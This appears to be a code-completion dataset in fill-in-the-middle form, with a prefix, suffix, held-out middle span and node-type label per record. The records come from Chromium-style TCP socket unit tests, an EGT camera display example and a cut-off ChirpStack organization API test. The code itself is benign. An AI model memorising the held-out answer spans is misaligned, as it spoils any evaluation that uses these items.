EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); EXPECT_THAT(connect_callback2.WaitForResult(), IsOk()); EXPECT_TRUE(accepted_socket.get()); EXPECT_TRUE(accepted_socket2.get()); EXPECT_NE(accepted_socket.get(), accepted_socket2.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); EXPECT_EQ(accepted_address2.address(), local_address_.address()); } TEST_F(TCPSocketTest, AcceptIPv6) { bool initialized = false; ASSERT_NO_FATAL_FAILURE(SetUpListenIPv6(&initialized)); if (!initialized) return; TestCompletionCallback connect_callback; TCPClientSocket connecting_socket(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket.Connect(connect_callback.callback()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; int result = socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback()); if (result == ERR_IO_PENDING) result = accept_callback.WaitForResult(); ASSERT_THAT(result, IsOk()); EXPECT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); } TEST_F(TCPSocketTest, ReadWrite) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); TestCompletionCallback connect_callback; TCPSocket connecting_socket(NULL, NULL, NetLogSource()); int result = connecting_socket.Open(ADDRESS_FAMILY_IPV4); ASSERT_THAT(result, IsOk()); connecting_socket.Connect(local_address_, connect_callback.callback()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; result = socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback()); ASSERT_THAT(accept_callback.GetResult(result), IsOk()); ASSERT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); const std::string message("test message"); std::vector<char> buffer(message.size()); size_t bytes_written = 0; while (bytes_written < message.size()) { scoped_refptr<IOBufferWithSize> write_buffer( new IOBufferWithSize(message.size() - bytes_written)); memmove(write_buffer->data(), message.data() + bytes_written, message.size() - bytes_written); TestCompletionCallback write_callback; int write_result = accepted_socket->Write( write_buffer.get(), write_buffer->size(), write_callback.callback()); write_result = write_callback.GetResult(write_result); ASSERT_TRUE(write_result >= 0); bytes_written += write_result; ASSERT_TRUE(bytes_written <= message.size()); } size_t bytes_read = 0; while (bytes_read < message.size()) { scoped_refptr<IOBufferWithSize> read_buffer( new IOBufferWithSize(message.size() - bytes_read)); TestCompletionCallback read_callback; int read_result = connecting_socket.Read( read_buffer.get(), read_buffer->size(), read_callback.callback()); read_result = read_callback.GetResult(read_result); ASSERT_TRUE(read_result >= 0); ASSERT_TRUE(bytes_read + read_result <= message.size()); memmove(&buffer[bytes_read], read_buffer->data(), read_result); bytes_read += read_result; } std::string received_message(buffer.begin(), buffer.end()); ASSERT_EQ(message, received_message); } #if defined(TCP_INFO) || defined(OS_LINUX) TEST_F(TCPSocketTest, SPWNotInterested) { TestSPWNotifications(base::TimeDelta::FromSeconds(0), false, 2u, 0u, 0u); } TEST_F(TCPSocketTest, SPWNoAdvance) { TestSPWNotifications(base::TimeDelta::FromSeconds(0), true, 2u, 0u, 1u); } TEST_F(TCPSocketTest, SPWAdvance) { TestSPWNotifications(base::TimeDelta::FromSeconds(2), true, 2u, 0u, 3u); } #endif } }
#include "net/socket/tcp_socket.h" #include <stddef.h> #include <string.h> #include <memory> #include <string> #include <vector> #include "base/memory/ref_counted.h" #include "base/test/simple_test_tick_clock.h" #include "base/time/time.h" #include "net/base/address_list.h" #include "net/base/io_buffer.h" #include "net/base/ip_endpoint.h" #include "net/base/net_errors.h" #include "net/base/sockaddr_storage.h" #include "net/base/test_completion_callback.h" #include "net/log/net_log_source.h" #include "net/socket/socket_performance_watcher.h" #include "net/socket/tcp_client_socket.h" #include "net/test/gtest_util.h" #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" #include "testing/platform_test.h" using net::test::IsOk; namespace net { namespace { class TestSocketPerformanceWatcher : public SocketPerformanceWatcher { public: explicit TestSocketPerformanceWatcher(bool should_notify_updated_rtt) : should_notify_updated_rtt_(should_notify_updated_rtt), connection_changed_count_(0u), rtt_notification_count_(0u) {} ~TestSocketPerformanceWatcher() override {} bool ShouldNotifyUpdatedRTT() const override { return should_notify_updated_rtt_; } void OnUpdatedRTTAvailable(const base::TimeDelta& rtt) override { rtt_notification_count_++; } void OnConnectionChanged() override { connection_changed_count_++; } size_t rtt_notification_count() const { return rtt_notification_count_; } size_t connection_changed_count() const { return connection_changed_count_; } private: const bool should_notify_updated_rtt_; size_t connection_changed_count_; size_t rtt_notification_count_; DISALLOW_COPY_AND_ASSIGN(TestSocketPerformanceWatcher); }; const int kListenBacklog = 5; class TCPSocketTest : public PlatformTest { protected: TCPSocketTest() : socket_(NULL, NULL, NetLogSource()) {} void SetUpListenIPv4() { ASSERT_THAT(socket_.Open(ADDRESS_FAMILY_IPV4), IsOk()); ASSERT_THAT(socket_.Bind(IPEndPoint(IPAddress::IPv4Localhost(), 0)), IsOk()); ASSERT_THAT(socket_.Listen(kListenBacklog), IsOk()); ASSERT_THAT(socket_.GetLocalAddress(&local_address_), IsOk()); } void SetUpListenIPv6(bool* success) { *success = false;
ASSERT_THAT(socket_.GetLocalAddress(&local_address_), IsOk()); *success = true; } void TestAcceptAsync() { TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; ASSERT_EQ(ERR_IO_PENDING, socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback())); TestCompletionCallback connect_callback; TCPClientSocket connecting_socket(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket.Connect(connect_callback.callback()); EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); EXPECT_THAT(accept_callback.WaitForResult(), IsOk()); EXPECT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); } #if defined(TCP_INFO) || defined(OS_LINUX) void TestSPWNotifications(const base::TimeDelta& advance_ticks, bool should_notify_updated_rtt, size_t num_messages, size_t expect_connection_changed_count, size_t expect_rtt_notification_count) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); std::unique_ptr<base::SimpleTestTickClock> tick_clock( new base::SimpleTestTickClock()); base::SimpleTestTickClock* tick_clock_ptr = tick_clock.get(); tick_clock_ptr->SetNowTicks(base::TimeTicks::Now()); TestCompletionCallback connect_callback; std::unique_ptr<TestSocketPerformanceWatcher> watcher( new TestSocketPerformanceWatcher(should_notify_updated_rtt)); TestSocketPerformanceWatcher* watcher_ptr = watcher.get(); TCPSocket connecting_socket(std::move(watcher), NULL, NetLogSource()); connecting_socket.SetTickClockForTesting(std::move(tick_clock)); int result = connecting_socket.Open(ADDRESS_FAMILY_IPV4); ASSERT_THAT(result, IsOk()); connecting_socket.Connect(local_address_, connect_callback.callback()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; result = socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback()); ASSERT_THAT(accept_callback.GetResult(result), IsOk()); ASSERT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); ASSERT_THAT(connect_callback.WaitForResult(), IsOk()); for (size_t i = 0; i < num_messages; ++i) { tick_clock_ptr->Advance(advance_ticks); const std::string message("t"); scoped_refptr<IOBufferWithSize> write_buffer( new IOBufferWithSize(message.size())); memmove(write_buffer->data(), message.data(), message.size()); TestCompletionCallback write_callback; int write_result = accepted_socket->Write( write_buffer.get(), write_buffer->size(), write_callback.callback()); scoped_refptr<IOBufferWithSize> read_buffer( new IOBufferWithSize(message.size())); TestCompletionCallback read_callback; int read_result = connecting_socket.Read( read_buffer.get(), read_buffer->size(), read_callback.callback()); ASSERT_EQ(1, write_callback.GetResult(write_result)); ASSERT_EQ(1, read_callback.GetResult(read_result)); } EXPECT_EQ(expect_connection_changed_count, watcher_ptr->connection_changed_count()); EXPECT_EQ(expect_rtt_notification_count, watcher_ptr->rtt_notification_count()); } #endif AddressList local_address_list() const { return AddressList(local_address_); } TCPSocket socket_; IPEndPoint local_address_; }; TEST_F(TCPSocketTest, Accept) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); TestCompletionCallback connect_callback; TCPClientSocket connecting_socket(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket.Connect(connect_callback.callback()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; int result = socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback()); if (result == ERR_IO_PENDING) result = accept_callback.WaitForResult(); ASSERT_THAT(result, IsOk()); EXPECT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); } TEST_F(TCPSocketTest, AcceptAsync) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); TestAcceptAsync(); } #if defined(OS_WIN) TEST_F(TCPSocketTest, AcceptForAdoptedListenSocket) { SOCKET existing_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ASSERT_THAT(socket_.AdoptListenSocket(existing_socket), IsOk()); IPEndPoint address(IPAddress::IPv4Localhost(), 0); SockaddrStorage storage; ASSERT_TRUE(address.ToSockAddr(storage.addr, &storage.addr_len)); ASSERT_EQ(0, bind(existing_socket, storage.addr, storage.addr_len)); ASSERT_THAT(socket_.Listen(kListenBacklog), IsOk()); ASSERT_THAT(socket_.GetLocalAddress(&local_address_), IsOk()); TestAcceptAsync(); } #endif TEST_F(TCPSocketTest, Accept2Connections) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; ASSERT_EQ(ERR_IO_PENDING, socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback())); TestCompletionCallback connect_callback; TCPClientSocket connecting_socket(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket.Connect(connect_callback.callback()); TestCompletionCallback connect_callback2; TCPClientSocket connecting_socket2(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket2.Connect(connect_callback2.callback()); EXPECT_THAT(accept_callback.WaitForResult(), IsOk()); TestCompletionCallback accept_callback2; std::unique_ptr<TCPSocket> accepted_socket2; IPEndPoint accepted_address2; int result = socket_.Accept(&accepted_socket2, &accepted_address2, accept_callback2.callback()); if (result == ERR_IO_PENDING) result = accept_callback2.WaitForResult(); ASSERT_THAT(result, IsOk()); EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); EXPECT_THAT(connect_callback2.WaitForResult(), IsOk()); EXPECT_TRUE(accepted_socket.get()); EXPECT_TRUE(accepted_socket2.get()); EXPECT_NE(accepted_socket.get(), accepted_socket2.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); EXPECT_EQ(accepted_address2.address(), local_address_.address()); } TEST_F(TCPSocketTest, AcceptIPv6) { bool initialized = false; ASSERT_NO_FATAL_FAILURE(SetUpListenIPv6(&initialized)); if (!initialized) return; TestCompletionCallback connect_callback; TCPClientSocket connecting_socket(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket.Connect(connect_callback.callback()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; int result = socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback()); if (result == ERR_IO_PENDING) result = accept_callback.WaitForResult(); ASSERT_THAT(result, IsOk()); EXPECT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); } TEST_F(TCPSocketTest, ReadWrite) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); TestCompletionCallback connect_callback; TCPSocket connecting_socket(NULL, NULL, NetLogSource()); int result = connecting_socket.Open(ADDRESS_FAMILY_IPV4); ASSERT_THAT(result, IsOk()); connecting_socket.Connect(local_address_, connect_callback.callback()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; result = socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback()); ASSERT_THAT(accept_callback.GetResult(result), IsOk()); ASSERT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); const std::string message("test message"); std::vector<char> buffer(message.size()); size_t bytes_written = 0; while (bytes_written < message.size()) { scoped_refptr<IOBufferWithSize> write_buffer( new IOBufferWithSize(message.size() - bytes_written)); memmove(write_buffer->data(), message.data() + bytes_written, message.size() - bytes_written); TestCompletionCallback write_callback; int write_result = accepted_socket->Write( write_buffer.get(), write_buffer->size(), write_callback.callback()); write_result = write_callback.GetResult(write_result); ASSERT_TRUE(write_result >= 0); bytes_written += write_result; ASSERT_TRUE(bytes_written <= message.size()); } size_t bytes_read = 0; while (bytes_read < message.size()) { scoped_refptr<IOBufferWithSize> read_buffer( new IOBufferWithSize(message.size() - bytes_read)); TestCompletionCallback read_callback; int read_result = connecting_socket.Read( read_buffer.get(), read_buffer->size(), read_callback.callback()); read_result = read_callback.GetResult(read_result); ASSERT_TRUE(read_result >= 0); ASSERT_TRUE(bytes_read + read_result <= message.size()); memmove(&buffer[bytes_read], read_buffer->data(), read_result); bytes_read += read_result; } std::string received_message(buffer.begin(), buffer.end()); ASSERT_EQ(message, received_message); } #if defined(TCP_INFO) || defined(OS_LINUX) TEST_F(TCPSocketTest, SPWNotInterested) { TestSPWNotifications(base::TimeDelta::FromSeconds(0), false, 2u, 0u, 0u); } TEST_F(TCPSocketTest, SPWNoAdvance) { TestSPWNotifications(base::TimeDelta::FromSeconds(0), true, 2u, 0u, 1u); } TEST_F(TCPSocketTest, SPWAdvance) { TestSPWNotifications(base::TimeDelta::FromSeconds(2), true, 2u, 0u, 3u); } #endif } }
if (socket_.Open(ADDRESS_FAMILY_IPV6) != OK || socket_.Bind(IPEndPoint(IPAddress::IPv6Localhost(), 0)) != OK || socket_.Listen(kListenBacklog) != OK) { LOG(ERROR) << "Failed to listen on ::1 - probably because IPv6 is " "disabled. Skipping the test"; return; }
if_condition
[]
C++
examples/video/camera.cpp
krusher336/egt
117cfe805ae550086cf5b828c67febd7dc55c53d
#include <chrono> #include <cxxopts.hpp> #include <egt/detail/string.h> #include <egt/ui> #include <sstream> #include <string> static std::string line_break(const std::string& in, size_t width = 50) { std::string out; std::string tmp; char last = '\0'; size_t i = 0; for (auto& cur : in) { if (++i == width) { tmp = egt::detail::ltrim(tmp); out += "\n" + tmp; i = tmp.length(); tmp.clear(); } else if (std::isspace(cur) && !std::isspace(last)) { out += tmp; tmp.clear(); } tmp += cur; last = cur; } return out + tmp; } int main(int argc, char** argv) { cxxopts::Options options(argv[0], "display camera video stream"); options.add_options() ("h,help", "Show help") ("d,device", "V4L2 device", cxxopts::value<std::string>()->default_value("/dev/video0")) ("width", "Width of the stream", cxxopts::value<int>()->default_value("320")) ("height", "Height of the stream", cxxopts::value<int>()->default_value("240")) ("f,format", "Pixel format", cxxopts::value<std::string>()->default_value("yuyv"), "[egt::PixelFormat]"); auto args = options.parse(argc, argv); if (args.count("help")) { std::cout << options.help() << std::endl; return 0; } egt::Application app(argc, argv); #ifdef EXAMPLEDATA egt::add_search_path(EXAMPLEDATA); #endif egt::Size size(args["width"].as<int>(), args["height"].as<int>()); auto format = egt::detail::enum_from_string<egt::PixelFormat>(args["format"].as<std::string>()); auto dev(args["device"].as<std::string>()); egt::TopWindow win; win.background(egt::Image("file:background.jpg")); egt::CameraWindow player(size, dev, format, egt::WindowHint::overlay); player.move_to_center(win.center()); win.add(player); egt::Label errlabel; errlabel.align(egt::AlignFlag::expand_horizontal); errlabel.text_align(egt::AlignFlag::center | egt::AlignFlag::top); win.add(errlabel); auto message_dialog = std::make_shared<egt::Dialog>(win.size() * 0.75); message_dialog->title("egt_camera"); std::string dialog_text(""); auto dtext = std::make_shared<egt::TextBox>(dialog_text); message_dialog->widget(expand(dtext)); message_dialog->button(egt::Dialog::ButtonId::button1, "Cancel"); message_dialog->button(egt::Dialog::ButtonId::button2, "OK"); win.add(message_dialog); message_dialog->on_button2_click([&player]() { std::vector<std::string> dlist = player.list_devices(); auto ndev = dlist.at(dlist.size() - 1); std::cout << " setting new device " << ndev << std::endl; player.device(ndev); }); win.on_show([&player]() { player.start(); }); player.on_error([&errlabel](const std::string & err) { errlabel.text(line_break(err)); }); player.on_connect([&player, &errlabel, &dev, &message_dialog, &dtext](const std::string & devnode) { if (!errlabel.text().empty()) { errlabel.text(""); } auto dmesg = devnode + " device is connected would like to switch"; dtext->text(dmesg); message_dialog->show_modal(true); }); player.on_disconnect([&player, &errlabel, dev](const std::string & devnode) { errlabel.text(line_break("Device removed: " + devnode)); if (player.device() == devnode) { std::cout << devnode << "is disconnected: stoping it" << std::endl; player.stop(); } }); const auto wscale = static_cast<float>(egt::Application::instance().screen()->size().width()) / size.width(); const auto hscale = static_cast<float>(egt::Application::instance().screen()->size().height()) / size.height(); player.on_event([&player, &win, &size, wscale](egt::Event & event) { static egt::Point drag_start_point; switch (event.id()) { case egt::EventId::pointer_drag_start: { drag_start_point = player.box().point(); break; } case egt::EventId::pointer_drag: { if (!(egt::detail::float_equal(player.hscale(), wscale))) { auto diff = event.pointer().drag_start - event.pointer().point; auto p = drag_start_point - egt::Point(diff.x(), diff.y()); auto max_x = win.width() - size.width(); auto max_y = win.height() - size.height(); if (p.x() >= max_x) p.x(max_x); if (p.x() < 0) p.x(0); if (p.y() >= max_y) p.y(max_y); if (p.y() < 0) p.y(0); player.move(p); } } default: break; } }); egt::Window ctrlwindow(egt::Size(win.width(), 72), egt::PixelFormat::argb8888); ctrlwindow.align(egt::AlignFlag::bottom | egt::AlignFlag::center); ctrlwindow.color(egt::Palette::ColorId::bg, egt::Palette::transparent); if (!ctrlwindow.plane_window()) ctrlwindow.fill_flags(egt::Theme::FillFlag::blend); win.add(ctrlwindow); egt::HorizontalBoxSizer hpos; hpos.align(egt::AlignFlag::center); ctrlwindow.add(hpos); auto logo = std::make_shared<egt::ImageLabel>(egt::Image("icon:egt_logo_icon.png;32")); logo->margin(10); hpos.add(logo); egt::ImageButton fullscreen(egt::Image("res:fullscreen_png")); fullscreen.fill_flags().clear(); hpos.add(fullscreen); fullscreen.on_event([&fullscreen, &player, wscale, hscale](egt::Event&) { static bool scaled = true; if (scaled) { player.move(egt::Point(0, 0)); player.scale(wscale, hscale); fullscreen.image(egt::Image("res:fullscreen_exit_png")); scaled = false; } else { player.move(egt::Point(240, 120)); player.scale(1.0, 1.0); fullscreen.image(egt::Image("res:fullscreen_png")); scaled = true; } }, {egt::EventId::pointer_click}); egt::Label cpulabel("CPU: 0%", egt::Size(100, 40)); cpulabel.margin(5); hpos.add(cpulabel); egt::experimental::CPUMonitorUsage tools; egt::PeriodicTimer cputimer(std::chrono::seconds(1)); cputimer.on_timeout([&cpulabel, &tools]() { tools.update(); std::ostringstream ss; ss << "CPU: " << static_cast<int>(tools.usage()) << "%"; cpulabel.text(ss.str()); }); cputimer.start(); ctrlwindow.show(); player.show(); win.show(); return app.run(); }
#include <chrono> #include <cxxopts.hpp> #include <egt/detail/string.h> #include <egt/ui> #include <sstream> #include <string> static std::string line_break(const std::string& in, size_t width = 50) { std::string out; std::string tmp; char last = '\0'; size_t i = 0; for (auto& cur : in) { if (++i == width) { tmp = egt::detail::ltrim(tmp); out += "\n" + tmp; i = tmp.length(); tmp.clear(); } else if (std::isspace(cur) && !std::isspace(last)) { out += tmp; tmp.clear(); } tmp += cur; last = cur; } return out + tmp; } int main(int argc, char** argv) { cxxopts::Options options(argv[0], "display camera video stream"); options.add_options() ("h,help", "Show help") ("d,device", "V4L2 device", cxxopts::value<std::string>()->default_value("/dev/video0")) ("width", "Width of the stream", cxxopts::value<int>()->default_value("320")) ("height", "Height of the stream", cxxopts::value<int>()->default_value("240")) ("f,format", "Pixel format", cxxopts::value<std::string>()->default_value("yuyv"), "[egt::PixelFormat]"); auto args = options.parse(argc, argv); if (args.count("help")) { std::cout << options.help() << std::endl; return 0; } egt::Application app(argc, argv); #ifdef EXAMPLEDATA egt::add_search_path(EXAMPLEDATA); #endif egt::Size size(args["width"].as<int>(), args["height"].as<int>()); auto format = egt::detail::enum_from_string<egt::PixelFormat>(args["format"].as<std::string>()); auto dev(args["device"].as<std::string>()); egt::TopWindow win; win.background(egt::Image("file:background.jpg")); egt::CameraWindow player(size, dev, format, egt::WindowHint::overlay); player.move_to_center(win.center()); win.add(player); egt::Label errlabel; errlabel.align(egt::AlignFlag::expand_horizontal); errlabel.text_align(egt::AlignFlag::center | egt::AlignFlag::top); win.add(errlabel); auto message_dialog = std::make_shared<egt::Dialog>(win.size() * 0.75); message_dialog->title("egt_camera"); std::string dialog_text(""); auto dtext = std::make_shared<egt::TextBox>(dialog_text); message_dialog->widget(expand(dtext)); message_dialog->button(egt::Dialog::ButtonId::button1, "Cancel"); message_dialog->button(egt::Dialog::ButtonId::button2, "OK"); win.add(message_dialog); message_dialog->on_button2_click([&player]() { std::vector<std::string> dlist = player.list_devices(); auto ndev = dlist.at(dlist.size() - 1); std::cout << " setting new device " << ndev << std::endl; player.device(ndev); }); win.on_show([&player]() { player.start(); }); player.on_error([&errlabel](const std::string & err) { errlabel.text(line_break(err)); }); player.on_connect([&player, &errlabel, &dev, &message_dialog, &dtext](const std::string & devnode) { if (!errlabel.text().empty()) { errlabel.text(""); } auto dmesg = devnode + " device is connected would like to switch"; dtext->text(dmesg); message_dialog->show_modal(true); });
; const auto wscale = static_cast<float>(egt::Application::instance().screen()->size().width()) / size.width(); const auto hscale = static_cast<float>(egt::Application::instance().screen()->size().height()) / size.height(); player.on_event([&player, &win, &size, wscale](egt::Event & event) { static egt::Point drag_start_point; switch (event.id()) { case egt::EventId::pointer_drag_start: { drag_start_point = player.box().point(); break; } case egt::EventId::pointer_drag: { if (!(egt::detail::float_equal(player.hscale(), wscale))) { auto diff = event.pointer().drag_start - event.pointer().point; auto p = drag_start_point - egt::Point(diff.x(), diff.y()); auto max_x = win.width() - size.width(); auto max_y = win.height() - size.height(); if (p.x() >= max_x) p.x(max_x); if (p.x() < 0) p.x(0); if (p.y() >= max_y) p.y(max_y); if (p.y() < 0) p.y(0); player.move(p); } } default: break; } }); egt::Window ctrlwindow(egt::Size(win.width(), 72), egt::PixelFormat::argb8888); ctrlwindow.align(egt::AlignFlag::bottom | egt::AlignFlag::center); ctrlwindow.color(egt::Palette::ColorId::bg, egt::Palette::transparent); if (!ctrlwindow.plane_window()) ctrlwindow.fill_flags(egt::Theme::FillFlag::blend); win.add(ctrlwindow); egt::HorizontalBoxSizer hpos; hpos.align(egt::AlignFlag::center); ctrlwindow.add(hpos); auto logo = std::make_shared<egt::ImageLabel>(egt::Image("icon:egt_logo_icon.png;32")); logo->margin(10); hpos.add(logo); egt::ImageButton fullscreen(egt::Image("res:fullscreen_png")); fullscreen.fill_flags().clear(); hpos.add(fullscreen); fullscreen.on_event([&fullscreen, &player, wscale, hscale](egt::Event&) { static bool scaled = true; if (scaled) { player.move(egt::Point(0, 0)); player.scale(wscale, hscale); fullscreen.image(egt::Image("res:fullscreen_exit_png")); scaled = false; } else { player.move(egt::Point(240, 120)); player.scale(1.0, 1.0); fullscreen.image(egt::Image("res:fullscreen_png")); scaled = true; } }, {egt::EventId::pointer_click}); egt::Label cpulabel("CPU: 0%", egt::Size(100, 40)); cpulabel.margin(5); hpos.add(cpulabel); egt::experimental::CPUMonitorUsage tools; egt::PeriodicTimer cputimer(std::chrono::seconds(1)); cputimer.on_timeout([&cpulabel, &tools]() { tools.update(); std::ostringstream ss; ss << "CPU: " << static_cast<int>(tools.usage()) << "%"; cpulabel.text(ss.str()); }); cputimer.start(); ctrlwindow.show(); player.show(); win.show(); return app.run(); }
player.on_disconnect([&player, &errlabel, dev](const std::string & devnode) { errlabel.text(line_break("Device removed: " + devnode)); if (player.device() == devnode) { std::cout << devnode << "is disconnected: stoping it" << std::endl; player.stop(); } })
call_expression
[ { "content": "class CameraWindowTest : public testing::TestWithParam<std::string> {};\n\n\n\nTEST_P(CameraWindowTest, CameraWidget)\n\n{\n\n egt::Application app;\n\n egt::TopWindow win;\n\n std::shared_ptr<egt::CameraWindow> m_camera;\n\n std::string file = GetParam();\n\n egt::Size size(320, 24...
C++
tests/organization_test.cc
chungphb/chirpstack-client
6a0f80f887776d6270ef821be1ccf99d87aca146
#include "test_config.h" #include <chirpstack_client/chirpstack_client.h> #include <iostream> using namespace chirpstack_cpp_client; struct test_cache { int64_t organization_id; api::Organization organization; int64_t user_id; api::OrganizationUser organization_user; }; void create_user(chirpstack_client& client, test_cache& cache) { create_user_request request; request.mutable_user()->set_session_ttl(60); request.mutable_user()->set_is_admin(false); request.mutable_user()->set_is_active(true); request.mutable_user()->set_email(test_config().usr_username); request.mutable_user()->set_note(test_config().usr_username); request.set_password(test_config().usr_password); auto response = client.create_user(request); if (!response.is_valid()) { std::cerr << "Failed to create user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } cache.user_id = response.get().id(); } void delete_user(chirpstack_client& client, test_cache& cache) { delete_user_request request; request.set_id(cache.user_id); auto response = client.delete_user(request); if (!response.is_valid()) { std::cerr << "Failed to delete user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_create_organization(chirpstack_client& client, test_cache& cache) { create_organization_request request; request.mutable_organization()->set_name(test_config().org_name); request.mutable_organization()->set_display_name(test_config().org_display_name); request.mutable_organization()->set_can_have_gateways(true); request.mutable_organization()->set_max_gateway_count(10); request.mutable_organization()->set_max_device_count(100); auto response = client.create_organization(request); if (!response.is_valid()) { std::cerr << "Failed to create organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } cache.organization_id = response.get().id(); } void test_get_organization(chirpstack_client& client, test_cache& cache) { get_organization_request request; request.set_id(cache.organization_id); auto response = client.get_organization(request); if (!response.is_valid()) { std::cerr << "Failed to get organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } cache.organization = response.get().organization(); std::cout << "\tOrganization " << cache.organization.name() << std::endl; std::cout << "\t\tDisplay name: " << std::boolalpha << cache.organization.display_name() << std::endl; std::cout << "\t\tID: " << cache.organization.id() << std::endl; std::cout << "\t\tCan have gateways: " << std::boolalpha << cache.organization.can_have_gateways() << std::endl; std::cout << "\t\tMax gateway count: " << cache.organization.max_gateway_count() << std::endl; std::cout << "\t\tMax device count: " << cache.organization.max_device_count() << std::endl; } void test_update_organization(chirpstack_client& client, test_cache& cache) { update_organization_request request; *request.mutable_organization() = cache.organization; request.mutable_organization()->set_max_device_count(1000); auto response = client.update_organization(request); if (!response.is_valid()) { std::cerr << "Failed to update organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_list_organization(chirpstack_client& client, test_cache& cache) { list_organization_request request; request.set_limit(10); auto response = client.list_organization(request); if (!response.is_valid()) { std::cerr << "Failed to list organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } for (const auto& organization : response.get().result()) { std::cout << "\tOrganization " << organization.name() << std::endl; std::cout << "\t\tDisplay name: " << std::boolalpha << organization.display_name() << std::endl; std::cout << "\t\tID: " << organization.id() << std::endl; std::cout << "\t\tCan have gateways: " << std::boolalpha << organization.can_have_gateways() << std::endl; } } void test_delete_organization(chirpstack_client& client, test_cache& cache) { delete_organization_request request; request.set_id(cache.organization_id); auto response = client.delete_organization(request); if (!response.is_valid()) { std::cerr << "Failed to delete organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_add_organization_user(chirpstack_client& client, test_cache& cache) { add_organization_user_request request; request.mutable_organization_user()->set_organization_id(cache.organization_id); request.mutable_organization_user()->set_user_id(cache.user_id); request.mutable_organization_user()->set_is_admin(false); request.mutable_organization_user()->set_is_device_admin(true); request.mutable_organization_user()->set_is_gateway_admin(false); request.mutable_organization_user()->set_email(test_config().usr_username); auto response = client.add_organization_user(request); if (!response.is_valid()) { std::cerr << "Failed to add organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_get_organization_user(chirpstack_client& client, test_cache& cache) { get_organization_user_request request; request.set_organization_id(cache.organization_id); request.set_user_id(cache.user_id); auto response = client.get_organization_user(request); if (!response.is_valid()) { std::cerr << "Failed to get organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } cache.organization_user = response.get().organization_user(); std::cout << "\tOrganization " << cache.organization.name() << "'s user " << cache.organization_user.email() << std::endl; std::cout << "\t\tID: " << cache.organization_user.user_id() << std::endl; std::cout << "\t\tIs admin: " << std::boolalpha << cache.organization_user.is_admin() << std::endl; if (!cache.organization_user.is_admin()) { std::cout << "\t\tIs device admin: " << std::boolalpha << cache.organization_user.is_device_admin() << std::endl; std::cout << "\t\tIs gateway admin: " << std::boolalpha << cache.organization_user.is_gateway_admin() << std::endl; } } void test_update_organization_user(chirpstack_client& client, test_cache& cache) { update_organization_user_request request; *request.mutable_organization_user() = cache.organization_user; request.mutable_organization_user()->set_is_admin(true); auto response = client.update_organization_user(request); if (!response.is_valid()) { std::cerr << "Failed to update organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_list_organization_user(chirpstack_client& client, test_cache& cache) { list_organization_users_request request; request.set_organization_id(cache.organization_id); request.set_limit(10); auto response = client.list_organization_users(request); if (!response.is_valid()) { std::cerr << "Failed to list organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } for (const auto& organization_user : response.get().result()) { std::cout << "\tOrganization " << cache.organization.name() << "'s user " << organization_user.email() << std::endl; std::cout << "\t\tID: " << organization_user.user_id() << std::endl; std::cout << "\t\tIs 